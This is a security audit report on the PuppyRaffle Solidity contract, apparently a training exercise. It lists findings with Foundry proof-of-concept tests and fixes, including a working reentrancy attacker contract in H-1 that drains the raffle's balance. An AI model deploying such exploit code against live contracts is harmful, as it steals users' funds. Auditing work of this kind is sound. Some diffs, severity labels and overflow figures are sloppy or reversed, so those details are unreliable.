PuppyRaffle Audit Report

Version 1.0

Prakash Yadav

August 28, 2025

PuppyRaffle Audit Report

Prakash Yadav

August 28, 2025

Prepared by: Prakash Yadav Lead Auditors: - xxxxxxx

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    a. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Prakash Yadav team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Audit Scope Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
##-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

- In this audit report, I find the many issue related to many bug of reentrancy as well as overflow and Denial of Service(Unbounded loops).
- I Spent 3 days to audit this using Foundry,Solidity Matrix, Static and Manual Analysis tools like Slither and Ederyn.

Issues found

Severity	Number of issues found
High	6
Medium	2
Low	1
Gas	2
Info	7

Severity	Number of issues found
Total	18

Findings

[H-1]: Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI(Check, Effects, Interaction) and as a result ,enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function,we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle could be stolen by the malicious participants.

Proof Of Concept: 1. User enter the raffle. 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`. 3. Attacker enters the raffle. 4. Attacker calls `PuppyRaffle::refund` from their attack contract,draining the contract balance.

PoC

Place the following into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
```

```
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attacker).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("Starting Attacker Contract Balance:",
            startingAttackContractBalance);
        console.log("Starting Contract Balance:",
            startingContractBalance);
        console.log("Ending Attacker Contract Balance:", address(
            attacker).balance);
        console.log("Ending Contract Balance:", address(puppyRaffle).
            balance);
    }
    function testCantSendMoneyToRaffle() public{
        address senderAddy=makeAddr("Sender");
        vm.deal(senderAddy, 1 ether);
        vm.expectRevert();
        vm.prank(senderAddy);
        (bool success,)=payable(address(puppyRaffle)).call{value: 1
            ether}("");
        require(success,"Failed to send money");
    }
```

Add this contracts well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
```

```
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      function _stealMoney() internal {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external calls. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +        players[playerIndex] = address(0);
7   +        emit RaffleRefunded(playerAddress);
8
9            payable(msg.sender).sendValue(entranceFee);
10
11  -        players[playerIndex] = address(0);
12  -        emit RaffleRefunded(playerAddress);
13      }
```

[H-2]: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`

Description:

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 199

```
1             abi.encodePacked(
```

- Found in src/PuppyRaffle.sol Line: 203

```
1                         abi.encodePacked(
```

Recommended Mitigation:

Use `abi.encode()` instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. `abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456) => 0x0...1230...456`). Unless there is a compelling reason, `abi.encode` should be preferred. If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead. If all arguments are strings and or bytes, `bytes.concat()` should be used instead.

[H-3]: Sending native Eth is not protected from these functions.

Introduce checks for `msg.sender` in the function

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 159

```
1     function withdrawFees() external {
```

[H-4]: Dangerous strict equality checks on contract balances.

A contract's balance can be forcibly manipulated by another selfdestructing contract. Therefore, it's recommended to use >, <, >= or <= instead of strict equality.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 160

```
1         require(address(this).balance == uint256(totalFees), "
              PuppyRaffle: There are currently players active!");
```

[H-5]: Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner.

Description: The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for

generating randomness, as they are easily predictable and manipulable. The PREVRANDAO opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 131

```
1             uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof Of Concept: 1. Validators can know ahead of the time `block.timestamp`,`block.difficulty` and use that to predict when/how to participate.See the solidity blog on prevrandao, `block.difficulty` was recently replaced with prevrandao. 2. User can mine /manipulate their `msg.sender` value to result in their address being used to generated the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-6]: Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subjected to integer overflows.

```
1 uint64 myVar=type(uint64).max
2 //18446744073709551615
3 myVar=myVar+1
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner` `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle:withdrawFees`. However , if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 player enter a new raffle and conclude the raffle. 3. `totalFees` will be:

```
1 totalFees=totalFees+uint64(fee);
2 //totalFees=800000000000000000 + 178000000000000000
```

```
3 //and this will overflow
4 totalFees=153255926290448384
```

4. We will not be able to withdraw , due to line in `PuppyRaffle::withdrawnFees`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
```

Although we could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees. this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

```
1  function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
5          puppyRaffle.selectWinner();
6          uint256 startingTotalFees = puppyRaffle.totalFees();
7          // startingTotalFees = 800000000000000000
8
9          // We then have 89 players enter a new raffle
10         uint256 playersNum = 89;
11         address[] memory players = new address[](playersNum);
12         for (uint256 i = 0; i < playersNum; i++) {
13             players[i] = address(i);
14         }
15         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
16         // We end the raffle
17         vm.warp(block.timestamp + duration + 1);
18         vm.roll(block.number + 1);
19
20         // And here is where the issue occurs
21         // We will now have fewer fees even though we just finished a
               second raffle
22         puppyRaffle.selectWinner();
23
24         uint256 endingTotalFees = puppyRaffle.totalFees();
25         console.log("ending total fees", endingTotalFees);
26         assert(endingTotalFees < startingTotalFees);
27
28         // We are also unable to withdraw any fees because of the
               require check
29         vm.expectRevert("PuppyRaffle: There are currently players
               active!");
30         puppyRaffle.withdrawFees();
31     }
```

Recommended Mitigation: 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`. 2. We could also use `safeMath` library of Openzeppelin for version 0.7.6 of solidity, however we could still have a hard time with the `uint64` type if too many fees are colleted. 3. Remove the balance check from `PuppyRaffle::withdrawnFees`.

```
1 -     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require,so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array,is an additional check the loop will have to make.

```
1 //@audit DoS Attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants int he queues. An attacker might make the `PuppyRaffle::entrants` array so big,that no one else enters,making themselves the win.

Proof of Concepts: If we have 2 sets of 100 players enter,the gas cost will be such as - 1st 100 players:~6503275 - 2nd 100 players:~18995515 This is more than 3x expensive for the next 100 players and so on.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
@>  function test_denialOfService() public {

        vm.txGasPrice(1);

        uint256 playerNum=100;
        address[] memory players=new address[](playerNum);
        for(uint256 i=0;i<playerNum;i++){
            players[i]=address(uint160(i));
        }
        uint256 gasStart=gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * players.length}(
           players);
        uint256 gasEnd=gasleft();
        uint256 gasUsedFirst=(gasStart-gasEnd)*tx.gasprice;
        console.log("Gas cost for the first 100 players:",gasUsedFirst)
           ;

        address[] memory playersTwo=new address[](playerNum);
        for(uint256 i=0;i<playerNum;i++){
            playersTwo[i]=address(uint160(playerNum + i));
        }
        uint256 gasStartSecond=gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * players.length}(
           playersTwo);
        uint256 gasEndSecond=gasleft();
        uint256 gasUsedSecond=(gasStartSecond-gasEndSecond)*tx.gasprice
           ;
        console.log("Gas cost for the next 100 players:",gasUsedSecond)
           ;
        assert(gasUsedFirst<gasUsedSecond);
    }
```

Recommended Mitigation: We can mitigate it through batch processing with controlled gas limit.

```
+        mapping(address => bool) public existingPlayers;

 function enterRaffle(address[] memory newPlayers) public payable {
+       require(newPlayers.length > 0,"No Players");
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           address player=newPlayers[i];
+           require(!existingPlayers[player],"Duplicate Entry");
+           existingPPlayers[player]=true;
            players.push(newPlayers[i]);
        }

-        // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
```

```
16 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
17 -            }
18 -        }
19          emit RaffleEnter(newPlayers);
20      }
```

[M-2]: Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restarts.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle:selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof Of Concept: 1. 10 smart contract wallets enter the lottery without a fallback and receive function. 2. The lottery ends. 3. the `selectWinner` function would'work, even though the lottery is over!

Recommend Mitigation: 1. Do not allow smart contract wallet entrants (not recommended). 2. Create a mapping of addresses -> payout so winner can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize(Recommended). > Pull over Push.

Low

[L-1]: `PuppyRaffle::getActivePlayerindex` returns 0 for non-existant players and players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0,this will return 0,but according to natspec , it wil also return 0 if the player is in array.

```
1       function getActivePlayerIndex(address player) external view returns
            (uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
```

```
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Impact: A player at index 0 may incorrectly think they have not entered in the raffle and attempt to enter the raffle wasting gas.

Proof Of Concept: 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0. 3. User thinks they have not entered correctly due to function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of return 0.

We could also reserve 0th position for any competition,but a better solution might be to return an `int256` where the function return -1 if the player is not active.

Gas

[G-1]: Unchanged state variables should be declared constant or immutable.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable. Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variable in a loop should be cached

Description: Every time you call `players.length` you read from storage,as opposed to memory which is more gas efficient.

```
1  +       uint256 playerLength=players.length;
2  -        for (uint256 i = 0; i < players.length - 1; i++) {
3  +        for (uint256 i = 0; i < playerLength - 1; i++) {
4  -            for (uint256 j = i + 1; j < players.length; j++) {
5  +            for (uint256 j = i + 1; j < playerLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
7               }
8           }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended.

Description: Solc frequently releases new compiler versions.Using old version prevents access to new version solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with any of following solidity versions: `0.8.24` The recommendation take into account: - Risks related to recent releases. - Risk of complex code generation changes. - Risks of new language features. - Risks of Known bugs. - Use a simple pragma version that allows any of these versions. Consider using the latest version of solidity for testing. Please seeslither documentation.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 64

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 170

```
1         feeAddress = newFeeAddress;
```

Recommend Mitigation: Add this above when check for `address(0)` when assigning values to address state variables. “‘diff

- require(feeAddress != address(0), “Invalid address: address(0)”);

```
## [I-4]: `PuppyRaffle::selectWinner` does not follow CEI(Check,Effect and Interaction), which is not best practice.
**Description:**
it's best to keep code clean and follow CEI.
```

```
4
5  ```diff
6  +       _safeMint(winner, tokenId);
7          (bool success,) = winner.call{value: prizePool}("");
8          require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
9  -       _safeMint(winner, tokenId);
```

[I-5] Use of magic number should be discouraged.

Description: It can be confusing to se the number literals in a codebase, and it's much more readable if the numbers are given name. Example:

```
1   uint256 prizePool = (totalAmountCollected * 80) / 100;
2          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead we can use:

```
1  -  uint256 public constant  PRIZE_POOL_PERCENTAGE=80;
2  -  uint256 public constant  FEE_PERCENTAGE=20;
3  -  uint256 public constant  POOL_PRECISION=100;
```

[I-6]: State change are missing events

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 55

```
1       event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 56

```
1       event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 57

```
1       event FeeAddressChanged(address newFeeAddress);
```

[I-7]: `PuppYRaffle::_isActivePlater` is never used and should be removed.